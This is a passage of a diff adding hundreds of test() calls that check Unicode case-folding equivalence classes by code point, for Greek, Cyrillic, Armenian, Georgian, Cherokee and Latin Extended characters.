+test(0x29e,0xa7b0);
+test(0x345,0x3b9,0x399,0x1fbe);
+test(0x370,0x371);
+test(0x371,0x370);
+test(0x372,0x373);
+test(0x373,0x372);
+test(0x376,0x377);
+test(0x377,0x376);
+test(0x37b,0x3fd);
+test(0x37c,0x3fe);
+test(0x37d,0x3ff);
+test(0x37f,0x3f3);
+test(0x386,0x3ac);
+test(0x388,0x3ad);
+test(0x389,0x3ae);
+test(0x38a,0x3af);
+test(0x38c,0x3cc);
+test(0x38e,0x3cd);
+test(0x38f,0x3ce);
+test(0x391,0x3b1);
+test(0x392,0x3b2,0x3d0);
+test(0x393,0x3b3);
+test(0x394,0x3b4);
+test(0x395,0x3b5,0x3f5);
+test(0x396,0x3b6);
+test(0x397,0x3b7);
+test(0x398,0x3b8,0x3d1,0x3f4);
+test(0x399,0x3b9,0x345,0x1fbe);
+test(0x39a,0x3ba,0x3f0);
+test(0x39b,0x3bb);
+test(0x39c,0x3bc,0xb5);
+test(0x39d,0x3bd);
+test(0x39e,0x3be);
+test(0x39f,0x3bf);
+test(0x3a0,0x3c0,0x3d6);
+test(0x3a1,0x3c1,0x3f1);
+test(0x3a3,0x3c3,0x3c2);
+test(0x3a4,0x3c4);
+test(0x3a5,0x3c5);
+test(0x3a6,0x3c6,0x3d5);
+test(0x3a7,0x3c7);
+test(0x3a8,0x3c8);
+test(0x3a9,0x3c9,0x2126);
+test(0x3aa,0x3ca);
+test(0x3ab,0x3cb);
+test(0x3ac,0x386);
+test(0x3ad,0x388);
+test(0x3ae,0x389);
+test(0x3af,0x38a);
+test(0x3b1,0x391);
+test(0x3b2,0x392,0x3d0);
+test(0x3b3,0x393);
+test(0x3b4,0x394);
+test(0x3b5,0x395,0x3f5);
+test(0x3b6,0x396);
+test(0x3b7,0x397);
+test(0x3b8,0x398,0x3d1,0x3f4);
+test(0x3b9,0x345,0x399,0x1fbe);
+test(0x3ba,0x39a,0x3f0);
+test(0x3bb,0x39b);
+test(0x3bc,0xb5,0x39c);
+test(0x3bd,0x39d);
+test(0x3be,0x39e);
+test(0x3bf,0x39f);
+test(0x3c0,0x3a0,0x3d6);
+test(0x3c1,0x3a1,0x3f1);
+test(0x3c2,0x3c3,0x3a3);
+test(0x3c3,0x3a3,0x3c2);
+test(0x3c4,0x3a4);
+test(0x3c5,0x3a5);
+test(0x3c6,0x3a6,0x3d5);
+test(0x3c7,0x3a7);
+test(0x3c8,0x3a8);
+test(0x3c9,0x3a9,0x2126);
+test(0x3ca,0x3aa);
+test(0x3cb,0x3ab);
+test(0x3cc,0x38c);
+test(0x3cd,0x38e);
+test(0x3ce,0x38f);
+test(0x3cf,0x3d7);
+test(0x3d0,0x3b2,0x392);
+test(0x3d1,0x3b8,0x398,0x3f4);
+test(0x3d5,0x3c6,0x3a6);
+test(0x3d6,0x3c0,0x3a0);
+test(0x3d7,0x3cf);
+test(0x3d8,0x3d9);
+test(0x3d9,0x3d8);
+test(0x3da,0x3db);
+test(0x3db,0x3da);
+test(0x3dc,0x3dd);
+test(0x3dd,0x3dc);
+test(0x3de,0x3df);
+test(0x3df,0x3de);
+test(0x3e0,0x3e1);
+test(0x3e1,0x3e0);
+test(0x3e2,0x3e3);
+test(0x3e3,0x3e2);
+test(0x3e4,0x3e5);
+test(0x3e5,0x3e4);
+test(0x3e6,0x3e7);
+test(0x3e7,0x3e6);
+test(0x3e8,0x3e9);
+test(0x3e9,0x3e8);
+test(0x3ea,0x3eb);
+test(0x3eb,0x3ea);
+test(0x3ec,0x3ed);
+test(0x3ed,0x3ec);
+test(0x3ee,0x3ef);
+test(0x3ef,0x3ee);
+test(0x3f0,0x3ba,0x39a);
+test(0x3f1,0x3c1,0x3a1);
+test(0x3f2,0x3f9);
+test(0x3f3,0x37f);
+test(0x3f4,0x3b8,0x398,0x3d1);
+test(0x3f5,0x3b5,0x395);
+test(0x3f7,0x3f8);
+test(0x3f8,0x3f7);
+test(0x3f9,0x3f2);
+test(0x3fa,0x3fb);
+test(0x3fb,0x3fa);
+test(0x3fd,0x37b);
+test(0x3fe,0x37c);
+test(0x3ff,0x37d);
+test(0x400,0x450);
+test(0x401,0x451);
+test(0x402,0x452);
+test(0x403,0x453);
+test(0x404,0x454);
+test(0x405,0x455);
+test(0x406,0x456);
+test(0x407,0x457);
+test(0x408,0x458);
+test(0x409,0x459);
+test(0x40a,0x45a);
+test(0x40b,0x45b);
+test(0x40c,0x45c);
+test(0x40d,0x45d);
+test(0x40e,0x45e);
+test(0x40f,0x45f);
+test(0x410,0x430);
+test(0x411,0x431);
+test(0x412,0x432,0x1c80);
+test(0x413,0x433);
+test(0x414,0x434,0x1c81);
+test(0x415,0x435);
+test(0x416,0x436);
+test(0x417,0x437);
+test(0x418,0x438);
+test(0x419,0x439);
+test(0x41a,0x43a);
+test(0x41b,0x43b);
+test(0x41c,0x43c);
+test(0x41d,0x43d);
+test(0x41e,0x43e,0x1c82);
+test(0x41f,0x43f);
+test(0x420,0x440);
+test(0x421,0x441,0x1c83);
+test(0x422,0x442,0x1c84,0x1c85);
+test(0x423,0x443);
+test(0x424,0x444);
+test(0x425,0x445);
+test(0x426,0x446);
+test(0x427,0x447);
+test(0x428,0x448);
+test(0x429,0x449);
+test(0x42a,0x44a,0x1c86);
+test(0x42b,0x44b);
+test(0x42c,0x44c);
+test(0x42d,0x44d);
+test(0x42e,0x44e);
+test(0x42f,0x44f);
+test(0x430,0x410);
+test(0x431,0x411);
+test(0x432,0x412,0x1c80);
+test(0x433,0x413);
+test(0x434,0x414,0x1c81);
+test(0x435,0x415);
+test(0x436,0x416);
+test(0x437,0x417);
+test(0x438,0x418);
+test(0x439,0x419);
+test(0x43a,0x41a);
+test(0x43b,0x41b);
+test(0x43c,0x41c);
+test(0x43d,0x41d);
+test(0x43e,0x41e,0x1c82);
+test(0x43f,0x41f);
+test(0x440,0x420);
+test(0x441,0x421,0x1c83);
+test(0x442,0x422,0x1c84,0x1c85);
+test(0x443,0x423);
+test(0x444,0x424);
+test(0x445,0x425);
+test(0x446,0x426);
+test(0x447,0x427);
+test(0x448,0x428);
+test(0x449,0x429);
+test(0x44a,0x42a,0x1c86);
+test(0x44b,0x42b);
+test(0x44c,0x42c);
+test(0x44d,0x42d);
+test(0x44e,0x42e);
+test(0x44f,0x42f);
+test(0x450,0x400);
+test(0x451,0x401);
+test(0x452,0x402);
+test(0x453,0x403);
+test(0x454,0x404);
+test(0x455,0x405);
+test(0x456,0x406);
+test(0x457,0x407);
+test(0x458,0x408);
+test(0x459,0x409);
+test(0x45a,0x40a);
+test(0x45b,0x40b);
+test(0x45c,0x40c);
+test(0x45d,0x40d);
+test(0x45e,0x40e);
+test(0x45f,0x40f);
+test(0x460,0x461);
+test(0x461,0x460);
+test(0x462,0x463,0x1c87);
+test(0x463,0x462,0x1c87);
+test(0x464,0x465);
+test(0x465,0x464);
+test(0x466,0x467);
+test(0x467,0x466);
+test(0x468,0x469);
+test(0x469,0x468);
+test(0x46a,0x46b);
+test(0x46b,0x46a);
+test(0x46c,0x46d);
+test(0x46d,0x46c);
+test(0x46e,0x46f);
+test(0x46f,0x46e);
+test(0x470,0x471);
+test(0x471,0x470);
+test(0x472,0x473);
+test(0x473,0x472);
+test(0x474,0x475);
+test(0x475,0x474);
+test(0x476,0x477);
+test(0x477,0x476);
+test(0x478,0x479);
+test(0x479,0x478);
+test(0x47a,0x47b);
+test(0x47b,0x47a);
+test(0x47c,0x47d);
+test(0x47d,0x47c);
+test(0x47e,0x47f);
+test(0x47f,0x47e);
+test(0x480,0x481);
+test(0x481,0x480);
+test(0x48a,0x48b);
+test(0x48b,0x48a);
+test(0x48c,0x48d);
+test(0x48d,0x48c);
+test(0x48e,0x48f);
+test(0x48f,0x48e);
+test(0x490,0x491);
+test(0x491,0x490);
+test(0x492,0x493);
+test(0x493,0x492);
+test(0x494,0x495);
+test(0x495,0x494);
+test(0x496,0x497);
+test(0x497,0x496);
+test(0x498,0x499);
+test(0x499,0x498);
+test(0x49a,0x49b);
+test(0x49b,0x49a);
+test(0x49c,0x49d);
+test(0x49d,0x49c);
+test(0x49e,0x49f);
+test(0x49f,0x49e);
+test(0x4a0,0x4a1);
+test(0x4a1,0x4a0);
+test(0x4a2,0x4a3);
+test(0x4a3,0x4a2);
+test(0x4a4,0x4a5);
+test(0x4a5,0x4a4);
+test(0x4a6,0x4a7);
+test(0x4a7,0x4a6);
+test(0x4a8,0x4a9);
+test(0x4a9,0x4a8);
+test(0x4aa,0x4ab);
+test(0x4ab,0x4aa);
+test(0x4ac,0x4ad);
+test(0x4ad,0x4ac);
+test(0x4ae,0x4af);
+test(0x4af,0x4ae);
+test(0x4b0,0x4b1);
+test(0x4b1,0x4b0);
+test(0x4b2,0x4b3);
+test(0x4b3,0x4b2);
+test(0x4b4,0x4b5);
+test(0x4b5,0x4b4);
+test(0x4b6,0x4b7);
+test(0x4b7,0x4b6);
+test(0x4b8,0x4b9);
+test(0x4b9,0x4b8);
+test(0x4ba,0x4bb);
+test(0x4bb,0x4ba);
+test(0x4bc,0x4bd);
+test(0x4bd,0x4bc);
+test(0x4be,0x4bf);
+test(0x4bf,0x4be);
+test(0x4c0,0x4cf);
+test(0x4c1,0x4c2);
+test(0x4c2,0x4c1);
+test(0x4c3,0x4c4);
+test(0x4c4,0x4c3);
+test(0x4c5,0x4c6);
+test(0x4c6,0x4c5);
+test(0x4c7,0x4c8);
+test(0x4c8,0x4c7);
+test(0x4c9,0x4ca);
+test(0x4ca,0x4c9);
+test(0x4cb,0x4cc);
+test(0x4cc,0x4cb);
+test(0x4cd,0x4ce);
+test(0x4ce,0x4cd);
+test(0x4cf,0x4c0);
+test(0x4d0,0x4d1);
+test(0x4d1,0x4d0);
+test(0x4d2,0x4d3);
+test(0x4d3,0x4d2);
+test(0x4d4,0x4d5);
+test(0x4d5,0x4d4);
+test(0x4d6,0x4d7);
+test(0x4d7,0x4d6);
+test(0x4d8,0x4d9);
+test(0x4d9,0x4d8);
+test(0x4da,0x4db);
+test(0x4db,0x4da);
+test(0x4dc,0x4dd);
+test(0x4dd,0x4dc);
+test(0x4de,0x4df);
+test(0x4df,0x4de);
+test(0x4e0,0x4e1);
+test(0x4e1,0x4e0);
+test(0x4e2,0x4e3);
+test(0x4e3,0x4e2);
+test(0x4e4,0x4e5);
+test(0x4e5,0x4e4);
+test(0x4e6,0x4e7);
+test(0x4e7,0x4e6);
+test(0x4e8,0x4e9);
+test(0x4e9,0x4e8);
+test(0x4ea,0x4eb);
+test(0x4eb,0x4ea);
+test(0x4ec,0x4ed);
+test(0x4ed,0x4ec);
+test(0x4ee,0x4ef);
+test(0x4ef,0x4ee);
+test(0x4f0,0x4f1);
+test(0x4f1,0x4f0);
+test(0x4f2,0x4f3);
+test(0x4f3,0x4f2);
+test(0x4f4,0x4f5);
+test(0x4f5,0x4f4);
+test(0x4f6,0x4f7);
+test(0x4f7,0x4f6);
+test(0x4f8,0x4f9);
+test(0x4f9,0x4f8);
+test(0x4fa,0x4fb);
+test(0x4fb,0x4fa);
+test(0x4fc,0x4fd);
+test(0x4fd,0x4fc);
+test(0x4fe,0x4ff);
+test(0x4ff,0x4fe);
+test(0x500,0x501);
+test(0x501,0x500);
+test(0x502,0x503);
+test(0x503,0x502);
+test(0x504,0x505);
+test(0x505,0x504);
+test(0x506,0x507);
+test(0x507,0x506);
+test(0x508,0x509);
+test(0x509,0x508);
+test(0x50a,0x50b);
+test(0x50b,0x50a);
+test(0x50c,0x50d);
+test(0x50d,0x50c);
+test(0x50e,0x50f);
+test(0x50f,0x50e);
+test(0x510,0x511);
+test(0x511,0x510);
+test(0x512,0x513);
+test(0x513,0x512);
+test(0x514,0x515);
+test(0x515,0x514);
+test(0x516,0x517);
+test(0x517,0x516);
+test(0x518,0x519);
+test(0x519,0x518);
+test(0x51a,0x51b);
+test(0x51b,0x51a);
+test(0x51c,0x51d);
+test(0x51d,0x51c);
+test(0x51e,0x51f);
+test(0x51f,0x51e);
+test(0x520,0x521);
+test(0x521,0x520);
+test(0x522,0x523);
+test(0x523,0x522);
+test(0x524,0x525);
+test(0x525,0x524);
+test(0x526,0x527);
+test(0x527,0x526);
+test(0x528,0x529);
+test(0x529,0x528);
+test(0x52a,0x52b);
+test(0x52b,0x52a);
+test(0x52c,0x52d);
+test(0x52d,0x52c);
+test(0x52e,0x52f);
+test(0x52f,0x52e);
+test(0x531,0x561);
+test(0x532,0x562);
+test(0x533,0x563);
+test(0x534,0x564);
+test(0x535,0x565);
+test(0x536,0x566);
+test(0x537,0x567);
+test(0x538,0x568);
+test(0x539,0x569);
+test(0x53a,0x56a);
+test(0x53b,0x56b);
+test(0x53c,0x56c);
+test(0x53d,0x56d);
+test(0x53e,0x56e);
+test(0x53f,0x56f);
+test(0x540,0x570);
+test(0x541,0x571);
+test(0x542,0x572);
+test(0x543,0x573);
+test(0x544,0x574);
+test(0x545,0x575);
+test(0x546,0x576);
+test(0x547,0x577);
+test(0x548,0x578);
+test(0x549,0x579);
+test(0x54a,0x57a);
+test(0x54b,0x57b);
+test(0x54c,0x57c);
+test(0x54d,0x57d);
+test(0x54e,0x57e);
+test(0x54f,0x57f);
+test(0x550,0x580);
+test(0x551,0x581);
+test(0x552,0x582);
+test(0x553,0x583);
+test(0x554,0x584);
+test(0x555,0x585);
+test(0x556,0x586);
+test(0x561,0x531);
+test(0x562,0x532);
+test(0x563,0x533);
+test(0x564,0x534);
+test(0x565,0x535);
+test(0x566,0x536);
+test(0x567,0x537);
+test(0x568,0x538);
+test(0x569,0x539);
+test(0x56a,0x53a);
+test(0x56b,0x53b);
+test(0x56c,0x53c);
+test(0x56d,0x53d);
+test(0x56e,0x53e);
+test(0x56f,0x53f);
+test(0x570,0x540);
+test(0x571,0x541);
+test(0x572,0x542);
+test(0x573,0x543);
+test(0x574,0x544);
+test(0x575,0x545);
+test(0x576,0x546);
+test(0x577,0x547);
+test(0x578,0x548);
+test(0x579,0x549);
+test(0x57a,0x54a);
+test(0x57b,0x54b);
+test(0x57c,0x54c);
+test(0x57d,0x54d);
+test(0x57e,0x54e);
+test(0x57f,0x54f);
+test(0x580,0x550);
+test(0x581,0x551);
+test(0x582,0x552);
+test(0x583,0x553);
+test(0x584,0x554);
+test(0x585,0x555);
+test(0x586,0x556);
+test(0x10a0,0x2d00);
+test(0x10a1,0x2d01);
+test(0x10a2,0x2d02);
+test(0x10a3,0x2d03);
+test(0x10a4,0x2d04);
+test(0x10a5,0x2d05);
+test(0x10a6,0x2d06);
+test(0x10a7,0x2d07);
+test(0x10a8,0x2d08);
+test(0x10a9,0x2d09);
+test(0x10aa,0x2d0a);
+test(0x10ab,0x2d0b);
+test(0x10ac,0x2d0c);
+test(0x10ad,0x2d0d);
+test(0x10ae,0x2d0e);
+test(0x10af,0x2d0f);
+test(0x10b0,0x2d10);
+test(0x10b1,0x2d11);
+test(0x10b2,0x2d12);
+test(0x10b3,0x2d13);
+test(0x10b4,0x2d14);
+test(0x10b5,0x2d15);
+test(0x10b6,0x2d16);
+test(0x10b7,0x2d17);
+test(0x10b8,0x2d18);
+test(0x10b9,0x2d19);
+test(0x10ba,0x2d1a);
+test(0x10bb,0x2d1b);
+test(0x10bc,0x2d1c);
+test(0x10bd,0x2d1d);
+test(0x10be,0x2d1e);
+test(0x10bf,0x2d1f);
+test(0x10c0,0x2d20);
+test(0x10c1,0x2d21);
+test(0x10c2,0x2d22);
+test(0x10c3,0x2d23);
+test(0x10c4,0x2d24);
+test(0x10c5,0x2d25);
+test(0x10c7,0x2d27);
+test(0x10cd,0x2d2d);
+test(0x13a0,0xab70);
+test(0x13a1,0xab71);
+test(0x13a2,0xab72);
+test(0x13a3,0xab73);
+test(0x13a4,0xab74);
+test(0x13a5,0xab75);
+test(0x13a6,0xab76);
+test(0x13a7,0xab77);
+test(0x13a8,0xab78);
+test(0x13a9,0xab79);
+test(0x13aa,0xab7a);
+test(0x13ab,0xab7b);
+test(0x13ac,0xab7c);
+test(0x13ad,0xab7d);
+test(0x13ae,0xab7e);
+test(0x13af,0xab7f);
+test(0x13b0,0xab80);
+test(0x13b1,0xab81);
+test(0x13b2,0xab82);
+test(0x13b3,0xab83);
+test(0x13b4,0xab84);
+test(0x13b5,0xab85);
+test(0x13b6,0xab86);
+test(0x13b7,0xab87);
+test(0x13b8,0xab88);
+test(0x13b9,0xab89);
+test(0x13ba,0xab8a);
+test(0x13bb,0xab8b);
+test(0x13bc,0xab8c);
+test(0x13bd,0xab8d);
+test(0x13be,0xab8e);
+test(0x13bf,0xab8f);
+test(0x13c0,0xab90);
+test(0x13c1,0xab91);
+test(0x13c2,0xab92);
+test(0x13c3,0xab93);
+test(0x13c4,0xab94);
+test(0x13c5,0xab95);
+test(0x13c6,0xab96);
+test(0x13c7,0xab97);
+test(0x13c8,0xab98);
+test(0x13c9,0xab99);
+test(0x13ca,0xab9a);
+test(0x13cb,0xab9b);
+test(0x13cc,0xab9c);
+test(0x13cd,0xab9d);
+test(0x13ce,0xab9e);
+test(0x13cf,0xab9f);
+test(0x13d0,0xaba0);
+test(0x13d1,0xaba1);
+test(0x13d2,0xaba2);
+test(0x13d3,0xaba3);
+test(0x13d4,0xaba4);
+test(0x13d5,0xaba5);
+test(0x13d6,0xaba6);
+test(0x13d7,0xaba7);
+test(0x13d8,0xaba8);
+test(0x13d9,0xaba9);
+test(0x13da,0xabaa);
+test(0x13db,0xabab);
+test(0x13dc,0xabac);
+test(0x13dd,0xabad);
+test(0x13de,0xabae);
+test(0x13df,0xabaf);
+test(0x13e0,0xabb0);
+test(0x13e1,0xabb1);
+test(0x13e2,0xabb2);
+test(0x13e3,0xabb3);
+test(0x13e4,0xabb4);
+test(0x13e5,0xabb5);
+test(0x13e6,0xabb6);
+test(0x13e7,0xabb7);
+test(0x13e8,0xabb8);
+test(0x13e9,0xabb9);
+test(0x13ea,0xabba);
+test(0x13eb,0xabbb);
+test(0x13ec,0xabbc);
+test(0x13ed,0xabbd);
+test(0x13ee,0xabbe);
+test(0x13ef,0xabbf);
+test(0x13f0,0x13f8);
+test(0x13f1,0x13f9);
+test(0x13f2,0x13fa);
+test(0x13f3,0x13fb);
+test(0x13f4,0x13fc);
+test(0x13f5,0x13fd);
+test(0x13f8,0x13f0);
+test(0x13f9,0x13f1);
+test(0x13fa,0x13f2);
+test(0x13fb,0x13f3);
+test(0x13fc,0x13f4);
+test(0x13fd,0x13f5);
+test(0x1c80,0x432,0x412);
+test(0x1c81,0x434,0x414);
+test(0x1c82,0x43e,0x41e);
+test(0x1c83,0x441,0x421);
+test(0x1c84,0x442,0x422,0x1c85);
+test(0x1c85,0x442,0x422,0x1c84);
+test(0x1c86,0x44a,0x42a);
+test(0x1c87,0x463,0x462);
+test(0x1c88,0xa64b,0xa64a);
+test(0x1d79,0xa77d);
+test(0x1d7d,0x2c63);
+test(0x1e00,0x1e01);
+test(0x1e01,0x1e00);
+test(0x1e02,0x1e03);
+test(0x1e03,0x1e02);
+test(0x1e04,0x1e05);
+test(0x1e05,0x1e04);
+test(0x1e06,0x1e07);
+test(0x1e07,0x1e06);
+test(0x1e08,0x1e09);
+test(0x1e09,0x1e08);
+test(0x1e0a,0x1e0b);
+test(0x1e0b,0x1e0a);
+test(0x1e0c,0x1e0d);
+test(0x1e0d,0x1e0c);
+test(0x1e0e,0x1e0f);
+test(0x1e0f,0x1e0e);
+test(0x1e10,0x1e11);
+test(0x1e11,0x1e10);
+test(0x1e12,0x1e13);
+test(0x1e13,0x1e12);
+test(0x1e14,0x1e15);
+test(0x1e15,0x1e14);
+test(0x1e16,0x1e17);
+test(0x1e17,0x1e16);
+test(0x1e18,0x1e19);
+test(0x1e19,0x1e18);
+test(0x1e1a,0x1e1b);
+test(0x1e1b,0x1e1a);
+test(0x1e1c,0x1e1d);
+test(0x1e1d,0x1e1c);
+test(0x1e1e,0x1e1f);
+test(0x1e1f,0x1e1e);
+test(0x1e20,0x1e21);
+test(0x1e21,0x1e20);
+test(0x1e22,0x1e23);
+test(0x1e23,0x1e22);
+test(0x1e24,0x1e25);
+test(0x1e25,0x1e24);
+test(0x1e26,0x1e27);
+test(0x1e27,0x1e26);
+test(0x1e28,0x1e29);
+test(0x1e29,0x1e28);
+test(0x1e2a,0x1e2b);
+test(0x1e2b,0x1e2a);
+test(0x1e2c,0x1e2d);
+test(0x1e2d,0x1e2c);
+test(0x1e2e,0x1e2f);
+test(0x1e2f,0x1e2e);
+test(0x1e30,0x1e31);
+test(0x1e31,0x1e30);
+test(0x1e32,0x1e33);
+test(0x1e33,0x1e32);
+test(0x1e34,0x1e35);
+test(0x1e35,0x1e34);
+test(0x1e36,0x1e37);
+test(0x1e37,0x1e36);
+test(0x1e38,0x1e39);
+test(0x1e39,0x1e38);
+test(0x1e3a,0x1e3b);
+test(0x1e3b,0x1e3a);
+test(0x1e3c,0x1e3d);
+test(0x1e3d,0x1e3c);
+test(0x1e3e,0x1e3f);
+test(0x1e3f,0x1e3e);
+test(0x1e40,0x1e41);
+test(0x1e41,0x1e40);
+test(0x1e42,0x1e43);
+test(0x1e43,0x1e42);
+test(0x1e44,0x1e45);
+test(0x1e45,0x1e44);
+test(0x1e46,0x1e47);
+test(0x1e47,0x1e46);
+test(0x1e48,0x1e49);
+test(0x1e49,0x1e48);
+test(0x1e4a,0x1e4b);
+test(0x1e4b,0x1e4a);
+test(0x1e4c,0x1e4d);
+test(0x1e4d,0x1e4c);
+test(0x1e4e,0x1e4f);
+test(0x1e4f,0x1e4e);
+test(0x1e50,0x1e51);
+test(0x1e51,0x1e50);
+test(0x1e52,0x1e53);
+test(0x1e53,0x1e52);
+test(0x1e54,0x1e55);
+test(0x1e55,0x1e54);
+test(0x1e56,0x1e57);
+test(0x1e57,0x1e56);
+test(0x1e58,0x1e59);
+test(0x1e59,0x1e58);
+test(0x1e5a,0x1e5b);
+test(0x1e5b,0x1e5a);
+test(0x1e5c,0x1e5d);
+test(0x1e5d,0x1e5c);
+test(0x1e5e,0x1e5f);
+test(0x1e5f,0x1e5e);
+test(0x1e60,0x1e61,0x1e9b);
+test(0x1e61,0x1e60,0x1e9b);
+test(0x1e62,0x1e63);
+test(0x1e63,0x1e62);
+test(0x1e64,0x1e65);
+test(0x1e65,0x1e64);
+test(0x1e66,0x1e67);
+test(0x1e67,0x1e66);
+test(0x1e68,0x1e69);
+test(0x1e69,0x1e68);
+test(0x1e6a,0x1e6b);
+test(0x1e6b,0x1e6a);
+test(0x1e6c,0x1e6d);
+test(0x1e6d,0x1e6c);
+test(0x1e6e,0x1e6f);
+test(0x1e6f,0x1e6e);
+test(0x1e70,0x1e71);
+test(0x1e71,0x1e70);
+test(0x1e72,0x1e73);
+test(0x1e73,0x1e72);
+test(0x1e74,0x1e75);
+test(0x1e75,0x1e74);
+test(0x1e76,0x1e77);
+test(0x1e77,0x1e76);
+test(0x1e78,0x1e79);
+test(0x1e79,0x1e78);
+test(0x1e7a,0x1e7b);
+test(0x1e7b,0x1e7a);
+test(0x1e7c,0x1e7d);
+test(0x1e7d,0x1e7c);
+test(0x1e7e,0x1e7f);
+test(0x1e7f,0x1e7e);
+test(0x1e80,0x1e81);
+test(0x1e81,0x1e80);
+test(0x1e82,0x1e83);
+test(0x1e83,0x1e82);
+test(0x1e84,0x1e85);
+test(0x1e85,0x1e84);
+test(0x1e86,0x1e87);
+test(0x1e87,0x1e86);
+test(0x1e88,0x1e89);
+test(0x1e89,0x1e88);
+test(0x1e8a,0x1e8b);
+test(0x1e8b,0x1e8a);
+test(0x1e8c,0x1e8d);
+test(0x1e8d,0x1e8c);
+test(0x1e8e,0x1e8f);
+test(0x1e8f,0x1e8e);
+test(0x1e90,0x1e91);
+test(0x1e91,0x1e90);
+test(0x1e92,0x1e93);
+test(0x1e93,0x1e92);
+test(0x1e94,0x1e95);
+test(0x1e95,0x1e94);
+test(0x1e9b,0x1e61,0x1e60);
+test(0x1e9e,0xdf);
+test(0x1ea0,0x1ea1);
+test(0x1ea1,0x1ea0);
+test(0x1ea2,0x1ea3);
+test(0x1ea3,0x1ea2);
+test(0x1ea4,0x1ea5);
+test(0x1ea5,0x1ea4);
+test(0x1ea6,0x1ea7);
+test(0x1ea7,0x1ea6);
+test(0x1ea8,0x1ea9);
+test(0x1ea9,0x1ea8);
+test(0x1eaa,0x1eab);
+test(0x1eab,0x1eaa);
+test(0x1eac,0x1ead);
+test(0x1ead,0x1eac);
+test(0x1eae,0x1eaf);
+test(0x1eaf,0x1eae);
+test(0x1eb0,0x1eb1);
+test(0x1eb1,0x1eb0);
+test(0x1eb2,0x1eb3);
+test(0x1eb3,0x1eb2);
+test(0x1eb4,0x1eb5);
+test(0x1eb5,0x1eb4);
+test(0x1eb6,0x1eb7);
+test(0x1eb7,0x1eb6);
+test(0x1eb8,0x1eb9);
+test(0x1eb9,0x1eb8);
+test(0x1eba,0x1ebb);
+test(0x1ebb,0x1eba);
+test(0x1ebc,0x1ebd);
+test(0x1ebd,0x1ebc);
+test(0x1ebe,0x1ebf);
+test(0x1ebf,0x1ebe);
+test(0x1ec0,0x1ec1);
+test(0x1ec1,0x1ec0);
+test(0x1ec2,0x1ec3);
+test(0x1ec3,0x1ec2);
+test(0x1ec4,0x1ec5);
+test(0x1ec5,0x1ec4);
+test(0x1ec6,0x1ec7);
+test(0x1ec7,0x1ec6);
+test(0x1ec8,0x1ec9);
+test(0x1ec9,0x1ec8);
+test(0x1eca,0x1ecb);
+test(0x1ecb,0x1eca);
+test(0x1ecc,0x1ecd);
+test(0x1ecd,0x1ecc);
+test(0x1ece,0x1ecf);
+test(0x1ecf,0x1ece);
+test(0x1ed0,0x1ed1);
+test(0x1ed1,0x1ed0);
+test(0x1ed2,0x1ed3);
+test(0x1ed3,0x1ed2);
+test(0x1ed4,0x1ed5);
+test(0x1ed5,0x1ed4);
+test(0x1ed6,0x1ed7);
+test(0x1ed7,0x1ed6);
+test(0x1ed8,0x1ed9);
+test(0x1ed9,0x1ed8);
+test(0x1eda,0x1edb);
+test(0x1edb,0x1eda);
+test(0x1edc,0x1edd);
+test(0x1edd,0x1edc);
+test(0x1ede,0x1edf);
+test(0x1edf,0x1ede);
+test(0x1ee0,0x1ee1);
+test(0x1ee1,0x1ee0);
+test(0x1ee2,0x1ee3);
+test(0x1ee3,0x1ee2);
+test(0x1ee4,0x1ee5);
+test(0x1ee5,0x1ee4);
+test(0x1ee6,0x1ee7);
+test(0x1ee7,0x1ee6);
+test(0x1ee8,0x1ee9);
+test(0x1ee9,0x1ee8);
+test(0x1eea,0x1eeb);
+test(0x1eeb,0x1eea);
+test(0x1eec,0x1eed);
+test(0x1eed,0x1eec);
+test(0x1eee,0x1eef);
+test(0x1eef,0x1eee);
+test(0x1ef0,0x1ef1);
+test(0x1ef1,0x1ef0);
+test(0x1ef2,0x1ef3);
+test(0x1ef3,0x1ef2);
+test(0x1ef4,0x1ef5);
+test(0x1ef5,0x1ef4);
+test(0x1ef6,0x1ef7);
+test(0x1ef7,0x1ef6);
+test(0x1ef8,0x1ef9);
+test(0x1ef9,0x1ef8);
+test(0x1efa,0x1efb);
+test(0x1efb,0x1efa);
+test(0x1efc,0x1efd);
+test(0x1efd,0x1efc);
+test(0x1efe,0x1eff);
+test(0x1eff,0x1efe);
+test(0x1f00,0x1f08);
+test(0x1f01,0x1f09);
+test(0x1f02,0x1f0a);
+test(0x1f03,0x1f0b);
+test(0x1f04,0x1f0c);
+test(0x1f05,0x1f0d);
+test(0x1f06,0x1f0e);
+test(0x1f07,0x1f0f);
+test(0x1f08,0x1f00);
+test(0x1f09,0x1f01);
+test(0x1f0a,0x1f02);
+test(0x1f0b,0x1f03);
+test(0x1f0c,0x1f04);
+test(0x1f0d,0x1f05);
+test(0x1f0e,0x1f06);
+test(0x1f0f,0x1f07);
+test(0x1f10,0x1f18);
+test(0x1f11,0x1f19);
+test(0x1f12,0x1f1a);
+test(0x1f13,0x1f1b);
+test(0x1f14,0x1f1c);
+test(0x1f15,0x1f1d);
+test(0x1f18,0x1f10);
+test(0x1f19,0x1f11);
+test(0x1f1a,0x1f12);
+test(0x1f1b,0x1f13);
+test(0x1f1c,0x1f14);
+test(0x1f1d,0x1f15);
+test(0x1f20,0x1f28);
+test(0x1f21,0x1f29);
+test(0x1f22,0x1f2a);
+test(0x1f23,0x1f2b);
+test(0x1f24,0x1f2c);
+test(0x1f25,0x1f2d);
+test(0x1f26,0x1f2e);
+test(0x1f27,0x1f2f);
+test(0x1f28,0x1f20);
+test(0x1f29,0x1f21);
+test(0x1f2a,0x1f22);
+test(0x1f2b,0x1f23);
+test(0x1f2c,0x1f24);
+test(0x1f2d,0x1f25);
+test(0x1f2e,0x1f26);
+test(0x1f2f,0x1f27);
+test(0x1f30,0x1f38);
+test(0x1f31,0x1f39);
+test(0x1f32,0x1f3a);
+test(0x1f33,0x1f3b);
+test(0x1f34,0x1f3c);
+test(0x1f35,0x1f3d);
+test(0x1f36,0x1f3e);
+test(0x1f37,0x1f3f);
+test(0x1f38,0x1f30);
+test(0x1f39,0x1f31);
+test(0x1f3a,0x1f32);
+test(0x1f3b,0x1f33);
+test(0x1f3c,0x1f34);
+test(0x1f3d,0x1f35);
+test(0x1f3e,0x1f36);
+test(0x1f3f,0x1f37);
+test(0x1f40,0x1f48);
+test(0x1f41,0x1f49);
+test(0x1f42,0x1f4a);
+test(0x1f43,0x1f4b);
+test(0x1f44,0x1f4c);
+test(0x1f45,0x1f4d);
+test(0x1f48,0x1f40);
+test(0x1f49,0x1f41);
+test(0x1f4a,0x1f42);
+test(0x1f4b,0x1f43);
+test(0x1f4c,0x1f44);
+test(0x1f4d,0x1f45);
+test(0x1f51,0x1f59);
+test(0x1f53,0x1f5b);
+test(0x1f55,0x1f5d);
